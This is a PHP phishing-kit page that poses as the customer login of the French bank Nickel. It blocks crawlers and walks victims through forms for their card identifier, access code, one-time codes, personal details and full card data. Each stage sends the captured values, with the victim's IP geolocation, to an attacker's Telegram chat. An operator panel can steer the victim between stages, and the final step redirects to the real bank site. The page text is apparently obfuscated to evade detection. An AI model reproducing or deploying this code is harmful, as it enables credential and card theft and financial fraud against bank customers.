<?php

use Jaybizzle\CrawlerDetect\CrawlerDetect;
use IP2Location\Database;
use Vectorface\Whip\Whip;

session_start();
require_once './../config/config.php';

$CrawlerDetect = new CrawlerDetect;

// Check the user agent of the current 'visitor'
if ($CrawlerDetect->isCrawler()) {
    // true if crawler user agent detected
    http_response_code(403);
    die();
}

if (!isset($_GET['op']) or (isset($_GET['op']) && empty($_GET['op'])) or (isset($_GET['op']) && !in_array($_GET['op'], $_SESSION["op"]))) {
    header("Location: ?op=" . $_SESSION["op"][0]);
    die();
}

//Handle update request. As the form's action attribute is set to the same script, but 'POST' method, 
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    /*
	   Cache whole database into system memory and share among other scripts & websites
	   WARNING: Please make sure your system have sufficient RAM to enable this feature
	*/
    // $db = new \IP2Location\Database('./data/IP-COUNTRY-SAMPLE.BIN', \IP2Location\Database::SHARED_MEMORY);
    /*
	   Cache the database into memory to accelerate lookup speed
	   WARNING: Please make sure your system have sufficient RAM to enable this feature
	*/
    // $db = new \IP2Location\Database('./data/IP-COUNTRY-SAMPLE.BIN', \IP2Location\Database::MEMORY_CACHE);


    /*
		Default file I/O lookup
	*/
    $db = new Database(BASE_PATH . '/data/IP2LOCATION-LITE-DB11.IPV6.BIN', Database::FILE_IO);

    $whip = new Whip();
    $clientAddress = $whip->getValidIpAddress();

    $records = $db->lookup($clientAddress, Database::ALL);

    $telegram = new \Telegram(BOT_API_KEY);

if (PANEL) {
// Check if HTTPS is enabled
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://';
	
// Construct the URLs
$parsed_url = parse_url((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]");
	
$scheme = isset($parsed_url['scheme']) ? $parsed_url['scheme'] . '://' : '';
$host = isset($parsed_url['host']) ? $parsed_url['host'] : '';
$port = isset($parsed_url['port']) ? ':' . $parsed_url['port'] : '';
$user = isset($parsed_url['user']) ? $parsed_url['user'] : '';
$pass = isset($parsed_url['pass']) ? ':' . $parsed_url['pass']  : '';
$pass = ($user || $pass) ? "$pass@" : '';

$loginUrl = SESSION_URL . '/callback.php?session_id=' . session_id() . '&url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/embed?url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . '?op=' . $_SESSION["op"][0])) . '&redirect=true';
$passwordUrl = SESSION_URL . '/callback.php?session_id=' . session_id() . '&url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/embed?url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . '?op=' . $_SESSION["op"][1])) . '&redirect=true';
$otpV1Url = SESSION_URL . '/callback.php?session_id=' . session_id() . '&url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/embed?url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . '?op=' . $_SESSION["op"][2])) . '&redirect=true';
$personalInformation = SESSION_URL . '/callback.php?session_id=' . session_id() . '&url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/embed?url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . '?op=' . $_SESSION["op"][3])) . '&redirect=true';
$creditCardDetailsUrl = SESSION_URL . '/callback.php?session_id=' . session_id() . '&url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/embed?url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . '?op=' . $_SESSION["op"][4])) . '&redirect=true';
$otpV2Url = SESSION_URL . '/callback.php?session_id=' . session_id() . '&url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/embed?url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . '?op=' . $_SESSION["op"][5])) . '&redirect=true';
$redirectUrl = SESSION_URL . '/callback.php?session_id=' . session_id() . '&url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/embed?url=' . base64_encode("$scheme$user$pass$host$port/" . APP_PATH . '/' . str_replace('.php', '', $_SESSION["filename"][0]) . '?op=' . $_SESSION["op"][6])) . '&redirect=true';

$keyboard = [
    'inline_keyboard' => [
        [
            ['text' => 'Login', 'url' => $loginUrl],
            ['text' => 'Password', 'url' => $passwordUrl],
        ],
        [
            ['text' => 'OTP v1', 'url' => $otpV1Url],
        ],
        [
            ['text' => 'Personal Information', 'url' => $personalInformation],
            ['text' => 'Credit Card Details', 'url' => $creditCardDetailsUrl],
        ],
        [
            ['text' => 'OTP v2', 'url' => $otpV2Url],
        ],
        [
            ['text' => 'Redirect', 'url' => $redirectUrl]
        ]
    ]
];
}

    if ($_GET['op'] === $_SESSION["op"][0]) {
        $result = $telegram->sendMessage([
            'chat_id' => CHAT_ID,
            'text' => "ID: " . $_POST[$_SESSION["attribute"][0]] . PHP_EOL . PHP_EOL .
                "IP Address: " . $records['ipAddress'] . PHP_EOL .
                "Country Name: " . $records['countryName'] . PHP_EOL .
                "Region Name: " . $records['regionName'] . PHP_EOL .
                "City Name: " . $records['cityName'] . PHP_EOL .
                "ZIP Code: " . $records['zipCode'] . PHP_EOL .
                "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . PHP_EOL .
                "Raw: " . json_encode($_POST),
                'reply_markup' => PANEL ? json_encode($keyboard) : null,
        ]);

        $_SESSION["barcode"] = $_POST[$_SESSION["attribute"][0]];

        header("Location: ?op=" . $_SESSION["op"][1]);
        die();
    }

    if ($_GET['op'] === $_SESSION["op"][1]) {
        $result = $telegram->sendMessage([
            'chat_id' => CHAT_ID,
            'text' => "ID: " . $_SESSION["barcode"] . PHP_EOL .
                "Password: " . $_POST[$_SESSION["attribute"][3]] . PHP_EOL . PHP_EOL .
                "IP Address: " . $records['ipAddress'] . PHP_EOL .
                "Country Name: " . $records['countryName'] . PHP_EOL .
                "Region Name: " . $records['regionName'] . PHP_EOL .
                "City Name: " . $records['cityName'] . PHP_EOL .
                "ZIP Code: " . $records['zipCode'] . PHP_EOL .
                "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . PHP_EOL .
                "Raw: " . json_encode($_POST),
                'reply_markup' => PANEL ? json_encode($keyboard) : null,
        ]);

        if (PANEL) {
            header("Location: ?op=" . $_SESSION["op"][7]);
            die();
        } else {
            header("Location: ?op=" . $_SESSION["op"][2]);
            die();
        }
    }

    if ($_GET['op'] === $_SESSION["op"][2]) {
        $result = $telegram->sendMessage([
            'chat_id' => CHAT_ID,
            'text' => "Challenge: " . $_POST[$_SESSION["attribute"][8]] . PHP_EOL . PHP_EOL .
                "IP Address: " . $records['ipAddress'] . PHP_EOL .
                "Country Name: " . $records['countryName'] . PHP_EOL .
                "Region Name: " . $records['regionName'] . PHP_EOL .
                "City Name: " . $records['cityName'] . PHP_EOL .
                "ZIP Code: " . $records['zipCode'] . PHP_EOL .
                "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . PHP_EOL .
                "Raw: " . json_encode($_POST),
                'reply_markup' => PANEL ? json_encode($keyboard) : null,
        ]);

        if (PANEL) {
            header("Location: ?op=" . $_SESSION["op"][7]);
            die();
        } else {
            header("Location: ?op=" . $_SESSION["op"][3]);
            die();
        }
    }

    if ($_GET['op'] === $_SESSION["op"][3]) {
        $address = "";

        // Add the first required field
        $address .= $_POST[$_SESSION["attribute"][19]] . ' ';

        // Add the second required field (which is also the third overall required field)
        $address .= $_POST[$_SESSION["attribute"][20]] . PHP_EOL;

        // Optional field
        if (!empty($_POST[$_SESSION["attribute"][21]])) {
            $address .= $_POST[$_SESSION["attribute"][21]] . PHP_EOL;
        }

        // Add the third and fourth required fields
        $address .= $_POST[$_SESSION["attribute"][17]] . ' ' . $_POST[$_SESSION["attribute"][18]];

        // Assume $originalDate is your date in any format
        $originalDate = $_POST[$_SESSION["attribute"][16]]; // Example: YYYY-MM-DD format

        $formattedDate = '';

        try {
            $date = DateTime::createFromFormat('d/m/Y', $originalDate);
            if ($date) {
                $formattedDate = $date->format('m/d/Y'); // Converts to MM/DD/YYYY format
            } else {
            }
        } catch (Exception $e) {
        }

        $result = $telegram->sendMessage([
            'chat_id' => CHAT_ID,
            'text' => "Name: " . $_POST[$_SESSION["attribute"][14]] . ' ' . $_POST[$_SESSION["attribute"][15]] . PHP_EOL .
                "Birthday (MM/DD/YYYY): " . $formattedDate . PHP_EOL .
                "Address: " . $address . PHP_EOL .
                "Phone Number: " . $_POST[$_SESSION["attribute"][22]] . PHP_EOL . PHP_EOL .
                "IP Address: " . $records['ipAddress'] . PHP_EOL .
                "Country Name: " . $records['countryName'] . PHP_EOL .
                "Region Name: " . $records['regionName'] . PHP_EOL .
                "City Name: " . $records['cityName'] . PHP_EOL .
                "ZIP Code: " . $records['zipCode'] . PHP_EOL .
                "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . PHP_EOL .
                "Raw: " . json_encode($_POST),
                'reply_markup' => PANEL ? json_encode($keyboard) : null,
        ]);

        if (PANEL) {
            header("Location: ?op=" . $_SESSION["op"][7]);
            die();
        } else {
            header("Location: ?op=" . $_SESSION["op"][4]);
            die();
        }
    }

    if ($_GET['op'] === $_SESSION["op"][4]) {
        $result = $telegram->sendMessage([
            'chat_id' => CHAT_ID,
            'text' => "Card Number: " . $_POST[$_SESSION["attribute"][10]] . PHP_EOL .
                "Expiration Date (MM/YY): " . $_POST[$_SESSION["attribute"][11]] . '/' . $_POST[$_SESSION["attribute"][4]] . PHP_EOL .
                "Security Code: " . $_POST[$_SESSION["attribute"][12]] . PHP_EOL . PHP_EOL .
                "IP Address: " . $records['ipAddress'] . PHP_EOL .
                "Country Name: " . $records['countryName'] . PHP_EOL .
                "Region Name: " . $records['regionName'] . PHP_EOL .
                "City Name: " . $records['cityName'] . PHP_EOL .
                "ZIP Code: " . $records['zipCode'] . PHP_EOL .
                "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . PHP_EOL .
                "Raw: " . json_encode($_POST),
                'reply_markup' => PANEL ? json_encode($keyboard) : null,
        ]);

        if (PANEL) {
            header("Location: ?op=" . $_SESSION["op"][7]);
            die();
        } else {
            header("Location: ?op=" . $_SESSION["op"][5]);
            die();
        }
    }

    if ($_GET['op'] === $_SESSION["op"][5]) {
        $result = $telegram->sendMessage([
            'chat_id' => CHAT_ID,
            'text' => "Challenge: " . implode('', $_POST[$_SESSION["attribute"][23]]) . PHP_EOL . PHP_EOL .
                "IP Address: " . $records['ipAddress'] . PHP_EOL .
                "Country Name: " . $records['countryName'] . PHP_EOL .
                "Region Name: " . $records['regionName'] . PHP_EOL .
                "City Name: " . $records['cityName'] . PHP_EOL .
                "ZIP Code: " . $records['zipCode'] . PHP_EOL .
                "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . PHP_EOL .
                "Raw: " . json_encode($_POST),
                'reply_markup' => PANEL ? json_encode($keyboard) : null,
        ]);

        if (PANEL) {
            header("Location: ?op=" . $_SESSION["op"][7]);
            die();
        } else {
            header("Location: ?op=" . $_SESSION["op"][6]);
            die();
        }
    }
}
?>

<?php if ($_GET['op'] === $_SESSION["op"][6]) { ?>
    <!DOCTYPE html>
    <html>

    <body>
        <script>
            top.location.href = "https://nickel.eu/fr";
        </script>
    </body>

    </html>
    <?php die(); ?>
<?php } ?>

<?php if ($_GET['op'] === $_SESSION["op"][7]) { ?>
    <!DOCTYPE html>
    <html lang="en">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1" />

        <style>
            @import url('https://fonts.googleapis.com/css?family=Sarabun:100,100i,200,200i,300,300i,400,400i,500,500i,600,600i,700,700i,800,800i&display=swap');

            body {
                font-family: sans-serif;
                line-height: normal;
                font-size: 100%;
            }

            * {
                box-sizing: border-box;
            }

            * {
                font-family: "Sarabun", sans-serif;
            }

            * {
                font-family: Sarabun, sans-serif;
            }

            body {
                margin: 0;
                width: 100%;
                height: 100%;
            }

            body {
                height: 100%;
                width: 100%;
                line-height: normal;
            }

            html {
                font-family: sans-serif;
                -ms-text-size-adjust: 100%;
                -webkit-text-size-adjust: 100%;
                font-size: 100%;
            }

            html {
                font-size: 16px;
                overflow: hidden;
            }

            html {
                height: 100%;
                width: 100%;
                line-height: normal;
            }

            .Sgt-vjo {
                -webkit-box-align: center;
                align-items: center;
                background-color: white;
                inset: 0px;
                display: flex;
                flex-flow: column;
                -webkit-box-pack: center;
                justify-content: center;
                position: fixed;
                z-index: 1000;
            }

            *,
            :after,
            :before {
                box-sizing: border-box;
            }

            html ::-webkit-scrollbar {
                width: 7px;
            }

            .xqCWm ::-webkit-scrollbar {
                width: 7px;
            }

            html ::-webkit-scrollbar-thumb {
                background-color: #ff5f00;
                border-radius: 4px;
            }

            .xqCWm ::-webkit-scrollbar-thumb {
                background-color: rgb(255, 95, 0);
                border-radius: 4px;
            }

            html ::-webkit-scrollbar-track {
                background-color: #f4f6f9;
                border-radius: 4px;
            }

            .xqCWm ::-webkit-scrollbar-track {
                background-color: rgb(244, 246, 249);
                border-radius: 4px;
            }

            .fve-yh6 {
                -webkit-box-align: center;
                align-items: center;
                display: flex;
                flex-flow: column;
                width: calc(8rem);
            }

            .kcg-sos {
                color: rgb(255, 95, 0);
                font-size: 1.25rem;
                font-weight: 400;
                margin-top: 3rem;
                text-align: center;
            }

            .fve-yh6 span {
                background-color: rgb(255, 95, 0);
                border-radius: calc(1rem);
                display: block;
                height: 2rem;
                margin-top: 1rem;
                width: 2rem;
                transform-origin: 0px center;
            }

            .fve-yh6 span:nth-child(2) {
                animation: 1.5s ease-in-out 0s infinite normal none running Jzwaa;
            }

            .fve-yh6 span:nth-child(3) {
                animation: 1.5s ease-in-out 0s infinite normal none running iSDhUg;
            }

            .fve-yh6 span:nth-child(4) {
                animation: 1.5s ease-in-out 0s infinite normal none running cByGEu;
            }


            @keyframes Jzwaa {
                20% {
                    width: 2rem;
                    width: 2rem;
                }

                35% {
                    width: calc(5rem);
                    width: calc(5rem);
                }

                85% {
                    width: calc(5rem);
                    width: calc(5rem);
                }

            }

            @keyframes iSDhUg {
                10% {
                    width: calc(2rem);
                    width: calc(2rem);
                }

                25% {
                    width: calc(8rem);
                    width: calc(8rem);
                }

                85% {
                    width: calc(8rem);
                    width: calc(8rem);
                }

            }

            @keyframes cByGEu {
                15% {
                    width: calc(5rem);
                    width: calc(5rem);
                }

                85% {
                    width: calc(5rem);
                    width: calc(5rem);
                }

            }
        </style>
    </head>

    <body>
        <div class="Sgt-vjo">
            <div class="fve-yh6">
                <span>
                </span>
                <span>
                </span>
                <span>
                </span>
                <span>
                </span>
                <span>
                </span>
            </div>
            <div class="kcg-sos">
            </div>
        </div>
    </body>

    </html>
    <?php die(); ?>
<?php } ?>

<?php include BASE_PATH . '/src/includes/header.php' ?>

<div id="root" class="tether-target-attached-top tether-element-attached-top tether-element-attached-center tether-target-attached-center">
    <div class="sc-eByPHW llEieV tether-target-attached-top tether-element-attached-top tether-element-attached-center tether-target-attached-center">
        <div class="sc-eLSyJA lJvlA">
            <div id="toasterContainer" class="sc-hLBbgP jSOxpG"></div>
        </div>
        <div id="layoutId" class="sc-hRUHzT dalabt root-side-panel tether-target-attached-top tether-element-attached-top tether-element-attached-center tether-target-attached-center style-FsWsB">
            <div></div>
            <div class="sc-czNxle bOoHPe">
                <div class="sc-cKhgmI fRPFrj"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024" width="1em" height="1em" css="" class="sc-dkQUaI sc-hgRTRj hQrVZb LNHIN">
                        <path d="M719.3 444.3H304.8c-40.1 0-72.5 32-72.5 72.1 0 39.8 32.5 71.9 72.5 71.9h414.6c39.9 0 72.5-32.1 72.5-71.9-.1-40.1-32.7-72.1-72.6-72.1zM512 144.8c40 0 72.5-32.3 72.5-72.3C584.4 32.7 551.9 0 512 0s-72.4 32.7-72.4 72.5c0 40 32.5 72.3 72.4 72.3zM606.2 660.4H418c-39.7 0-72.3 32-72.3 71.8s32.4 72.3 72.1 72.3H606l.2.4c39.8 0 72.1-32.4 72.1-72.2.1-39.7-32.2-72.3-72.1-72.3zM606.2 224H418c-39.7 0-72.3 32-72.3 71.7 0 40 32.4 72.3 72.1 72.3H606l.2.1c39.8 0 72.1-32.2 72.1-72 .1-39.7-32.2-72.1-72.1-72.1zM512 879.1c-39.9 0-72.4 32.6-72.4 72.5 0 40 32.6 72.4 72.4 72.4 40 0 72.5-32.4 72.5-72.4-.1-39.9-32.6-72.5-72.5-72.5z"></path>
                    </svg><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1024 1024" width="1em" height="1em" css="" class="sc-ikXwFM sc-bOKJCu hZHGfK jNqTQC">
                        <path d="M245.1 449.1c17.2 0 31.2-14 31.2-31.2 0-17.3-14-31.2-31.2-31.2-17.3 0-31.3 14-31.3 31.2s14 31.2 31.3 31.2zM840.2 578.7h-77.7v-38.3h77.2c2.6 0 5.1-2.1 5.1-4.7V489c0-2.6-2.5-5.2-5.1-5.2h-77.2v-38.4h77.7c2.6 0 4.6-1.9 4.6-4.5v-49.5c0-2.6-2-4.5-4.6-4.5H704.5c-2.6 0-4.2 1.9-4.2 4.5v241.4c0 2.6 1.6 4.6 4.2 4.6h135.7c2.6 0 4.6-2 4.6-4.6v-49c0-2.6-2-5.1-4.6-5.1zM182.5 386.8h-53.8c-2.6 0-4.4 1.9-4.4 4.5v71.6c0 23 1.9 44.4 5.6 65.6L58.3 391.8c-1.6-3.1-4.9-5-8.4-5H4.1c-2.6 0-4.1 1.9-4.1 4.5v241.4c0 2.6 1.4 4.6 4.1 4.6h52.6c2.6 0 5.5-2 5.5-4.6v-71.6c0-23.3-2.5-44.4-6.5-65.6l71.7 136.8c1.6 3.1 4.6 4.9 8.1 4.9h47.1c2.7 0 4-2 4-4.6V391.3c-.1-2.6-1.4-4.5-4.1-4.5zM269.9 481.9h-49.8c-2.6 0-4.4 1.6-4.4 4.2v146.6c0 2.6 1.9 4.6 4.4 4.6h49.8c2.6 0 4.4-2 4.4-4.6V486.1c0-2.6-1.8-4.2-4.4-4.2zM455.9 574.7c-11.5 4.3-24.1 6.8-36.2 6.8-34.4 0-56.3-22.6-56.3-67.7 0-46.9 24-70.9 58-70.9 12.8 0 23.7 1.8 32.6 5.3 3.1 1.2 6.8-1.1 6.8-4.4v-49.3c0-1.9-1.6-3.7-3.4-4.4-14.5-5.4-29.4-8.6-44.7-8.6-63.5 0-113.4 46.6-113.8 132.2 0 87.8 52.3 128.6 113.2 128.6 17.3 0 32.9-2.8 47.1-7.8 1.9-.7 3.4-2.5 3.4-4.4v-51c0-3.2-3.6-5.5-6.7-4.4zM1018.6 578.7h-78.7V391.3c0-2.6-1.8-4.5-4.4-4.5H883c-2.7 0-5.3 1.9-5.3 4.5v241.4c0 2.6 2.6 4.6 5.3 4.6h135.7c2.6 0 5.4-2 5.4-4.6v-49.1c-.1-2.6-2.9-4.9-5.5-4.9zM682.1 630.6l-61.8-118.3L682 393.4c1.5-3.1-.8-6.6-4.3-6.6h-53.3c-1 0-1.9 0-2.4.9l-49.6 94.1h-22.1v-90.5c0-2.6-2.2-4.5-4.7-4.5H493c-2.6 0-4.9 1.9-4.9 4.5v241.4c0 2.6 2.3 4.6 4.9 4.6h52.6c2.6 0 4.7-2 4.7-4.6v-90.5h22l49.1 92.7c.7 1.7 2.5 2.4 4.3 2.4h52.1c3.6 0 5.9-3.6 4.3-6.7z"></path>
                    </svg></div>
                <div class="sc-bOCfAF fVtOqH">
                    <nav>
                        <ol class="sc-eJDSGI csbmgn">
                            <li class="sc-oZIhv ldeswP"><a href="javascript:void(0)"><?php echo getCyrillicAlphabet('Site Nickel'); ?></a></li><svg viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="sc-ehvNnt goUeQp" height="24" width="24">
                                <path fill-rule="evenodd" clip-rule="evenodd" d="M8.293 5.293a1 1 0 0 1 1.414 0l6 6a1 1 0 0 1 0 1.414l-6 6a1 1 0 0 1-1.414-1.414L13.586 12 8.293 6.707a1 1 0 0 1 0-1.414Z"></path>
                            </svg>
                            <li class="sc-oZIhv sc-hiDMwi ldeswP bHGhyL"><span><?php echo getCyrillicAlphabet('Connexion à votre espace client'); ?></span></li>
                        </ol>
                        <div class="sc-gGvHcT jjdYjy"><svg viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="sc-laZRCg eqRlsb" height="24" width="24">
                                <path fill-rule="evenodd" clip-rule="evenodd" d="M15.707 5.293a1 1 0 0 1 0 1.414L10.414 12l5.293 5.293a1 1 0 0 1-1.414 1.414l-6-6a1 1 0 0 1 0-1.414l6-6a1 1 0 0 1 1.414 0Z"></path>
                            </svg><a href="javascript:void(0)"><?php echo getCyrillicAlphabet('Site Nickel'); ?></a></div>
                    </nav>
                </div>
            </div>
            <?php if ($_GET['op'] === $_SESSION["op"][0]) { ?>
                <div class="sc-hrlCSN lnBwCw">
                    <form method="post">
                        <div class="sc-eqLmJG fvWiKM">
                            <h1 class="sc-bjHqKj dbQnLk"><?php echo getCyrillicAlphabet('Connexion à votre espace'); ?></h1>
                            <p class="sc-eYWepU klKumv"><?php echo getCyrillicAlphabet('Votre identifiant se trouve au verso de votre carte Nickel. Si vous avez perdu votre carte envoyez par SMS'); ?> <span class="sc-bgPuHN isYfga"><?php echo getCyrillicAlphabet('IDENTIFIANT'); ?></span> <?php echo getCyrillicAlphabet('au'); ?> <span class="sc-bgPuHN isYfga"><?php echo getCyrillicAlphabet('38063'); ?></span></p><img src="./../src/images/card-back.f1f8eab6.svg" class="sc-enTqHk gVANIR">
                            <div class="sc-yEDbz izOGgw">
                                <div class="sc-iAEawV ihmKiB">
                                    <div class="sc-gYbzsP brmByp">
                                        <div class="sc-cCjUiG cjfGxV"><label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][0]; ?>"><?php echo getCyrillicAlphabet('Identifiant (au dos de la carte)'); ?></label><input id="<?php echo $_SESSION["attribute"][0]; ?>" name="<?php echo $_SESSION["attribute"][0]; ?>" type="text" class="sc-cjibBx dYWVma" oninput="formatBarcodeInput()" value="   -   -   - " inputmode="numeric"></div>
                                    </div>
                                </div>
                                <div tabindex="0" class="sc-gScZFl jMZCgP"><label for="<?php echo $_SESSION["attribute"][1]; ?>"><input type="checkbox" class="sc-lbVpMG imjWmH">
                                        <div class="sc-hTBuwn ilJFjE"><svg viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="sc-jfTVlA hzZGXc" height="24" width="24">
                                                <path fill-rule="evenodd" clip-rule="evenodd" d="M20.707 5.293a1 1 0 0 1 0 1.414l-11 11a1 1 0 0 1-1.414 0l-5-5a1 1 0 1 1 1.414-1.414L9 15.586 19.293 5.293a1 1 0 0 1 1.414 0Z"></path>
                                            </svg></div><span class="sc-iOeugr bXTGDR"><?php echo getCyrillicAlphabet('Mémoriser mon identifiant'); ?></span>
                                    </label></div>
                            </div>
                            <div class="sc-vMGZd kWokIK"><button class="sc-ftTHYK hIzZA sc-kDvujY hWUUbn" type="submit" id="<?php echo $_SESSION["attribute"][2]; ?>" disabled><span class="sc-pyfCe jqwhcx"><?php echo getCyrillicAlphabet('Se connecter'); ?></span></button></div>
                        </div>
                    </form>
                </div>
            <?php } ?>
            <?php if ($_GET['op'] === $_SESSION["op"][1]) { ?>
                <div class="sc-icoqBx jfRpsO snipcss-HGkD2">
                    <form method="post">
                        <div class="sc-kLwonV erBgkb">
                            <h1 class="sc-hWZktu eJuFsj">
                                <?php echo getCyrillicAlphabet('Connexion à votre espace'); ?>
                            </h1>
                            <div class="sc-hlXxXZ csoHSi">
                                <div class="sc-bYMpWt cSuaNd">
                                    <div class="sc-kMjNwy cyRYwK">
                                        <div class="sc-bBABsx eyvCgp">
                                            <svg viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="icon" height="24" width="24">
                                                <path fill-rule="evenodd" clip-rule="evenodd" d="M4.464 15.464A5 5 0 0 1 8 14h8a5 5 0 0 1 5 5v2a1 1 0 1 1-2 0v-2a3 3 0 0 0-3-3H8a3 3 0 0 0-3 3v2a1 1 0 1 1-2 0v-2a5 5 0 0 1 1.464-3.536ZM12 4a3 3 0 1 0 0 6 3 3 0 0 0 0-6ZM7 7a5 5 0 1 1 10 0A5 5 0 0 1 7 7Z">
                                                </path>
                                            </svg>
                                        </div>
                                    </div>
                                    <div title="<?php echo $_SESSION["barcode"]; ?>" class="sc-hhOBVt iyUBjV">
                                        <?php echo $_SESSION["barcode"]; ?>
                                    </div>
                                    <div class="sc-ilhmMj kdlNVO">
                                        <button class="sc-ftTHYK hIzZA sc-jrcTuL hDrShV" type="button">
                                            <svg viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="icon" height="24" width="24">
                                                <path fill-rule="evenodd" clip-rule="evenodd" d="M23 3a1 1 0 0 1 1 1v6a1 1 0 0 1-1 1h-6a1 1 0 1 1 0-2h5V4a1 1 0 0 1 1-1ZM0 14a1 1 0 0 1 1-1h6a1 1 0 1 1 0 2H2v5a1 1 0 1 1-2 0v-6Z">
                                                </path>
                                                <path fill-rule="evenodd" clip-rule="evenodd" d="M14.217 4.317a8 8 0 0 0-9.764 5.017 1 1 0 1 1-1.886-.668 10 10 0 0 1 16.489-3.744l4.629 4.35a1 1 0 0 1-1.37 1.457l-4.64-4.36a8 8 0 0 0-3.458-2.051ZM.271 13.315a1 1 0 0 1 1.414-.044l4.64 4.36a8 8 0 0 0 13.223-2.965 1 1 0 0 1 1.885.668 10 10 0 0 1-16.489 3.744l-4.629-4.35a1 1 0 0 1-.044-1.413Z">
                                                </path>
                                            </svg>
                                            <span class="sc-pyfCe jqwhcx" onclick="location.href='?op=<?php echo $_SESSION["op"][0]; ?>';">
                                                <?php echo getCyrillicAlphabet('Changer'); ?>
                                            </span>
                                        </button>
                                    </div>
                                </div>
                            </div>
                            <div class="sc-hUhoqY hOYYZG">
                                <div class="sc-iGgWBj hbKNwF">
                                    <div class="sc-jXbUNg jRPUwL">
                                        <label class="sc-imWYAI hmxDFp required">
                                            <?php echo getCyrillicAlphabet('Code d’accès (6 chiffres)'); ?>
                                        </label>
                                        <div class="sc-gsFSXq liJNoO" id="<?php echo $_SESSION["attribute"][4]; ?>">
                                            <div class="sc-kAyceB bXMYpn">
                                            </div>
                                            <div class="sc-kAyceB bXMYpn">
                                            </div>
                                            <div class="sc-kAyceB bXMYpn">
                                            </div>
                                            <div class="sc-kAyceB bXMYpn">
                                            </div>
                                            <div class="sc-kAyceB bXMYpn">
                                            </div>
                                            <div class="sc-kAyceB bXMYpn">
                                            </div>
                                        </div>
                                        <div class="sc-gsFSXq liJNoO snipcss0-5-16-18" id="<?php echo $_SESSION["attribute"][5]; ?>" style="display: none;">
                                        </div>
                                        <svg viewBox="0 0 24 24" fill="" xmlns="http://www.w3.org/2000/svg" class="sc-dhKdcB fwFNYB" height="24" width="24" role="button" id="<?php echo $_SESSION["attribute"][6]; ?>" onclick="toggleButtonVisibility(true)">
                                            <path fill-rule="evenodd" clip-rule="evenodd" d="M2.14 12a18.68 18.68 0 0 0 2.464 3.316C6.397 17.226 8.9 19 12 19c3.1 0 5.605-1.774 7.395-3.684A18.684 18.684 0 0 0 21.86 12a18.681 18.681 0 0 0-2.464-3.316C17.605 6.774 15.101 5 12 5 8.9 5 6.396 6.774 4.605 8.684A18.678 18.678 0 0 0 2.14 12ZM23 12l.894-.448-.002-.003-.003-.007-.011-.022a10.615 10.615 0 0 0-.192-.354 20.675 20.675 0 0 0-2.831-3.85C18.895 5.226 15.899 3 12 3 8.1 3 5.104 5.226 3.145 7.316a20.674 20.674 0 0 0-2.831 3.85 12.375 12.375 0 0 0-.192.354l-.011.022-.003.007-.002.002s0 .002.894.449l-.894-.447a1 1 0 0 0 0 .894L1 12l-.894.447.002.004.003.007.011.022a8.267 8.267 0 0 0 .192.354 20.67 20.67 0 0 0 2.831 3.85C5.105 18.774 8.1 21 12 21c3.9 0 6.895-2.226 8.855-4.316a20.672 20.672 0 0 0 2.831-3.85 11.81 11.81 0 0 0 .192-.354l.011-.022.003-.007.002-.002s0-.002-.894-.449Zm0 0 .894.447c.141-.281.14-.613 0-.895L23 12Z">
                                            </path>
                                            <path fill-rule="evenodd" clip-rule="evenodd" d="M12 10a2 2 0 1 0 0 4 2 2 0 0 0 0-4Zm-4 2a4 4 0 1 1 8 0 4 4 0 0 1-8 0Z">
                                            </path>
                                        </svg>
                                        <svg viewBox="0 0 24 24" fill="" xmlns="http://www.w3.org/2000/svg" class="sc-kpDqfm dHNzqK" height="24" width="24" role="button" id="<?php echo $_SESSION["attribute"][7]; ?>" onclick="toggleButtonVisibility(false)" style="display: none;">
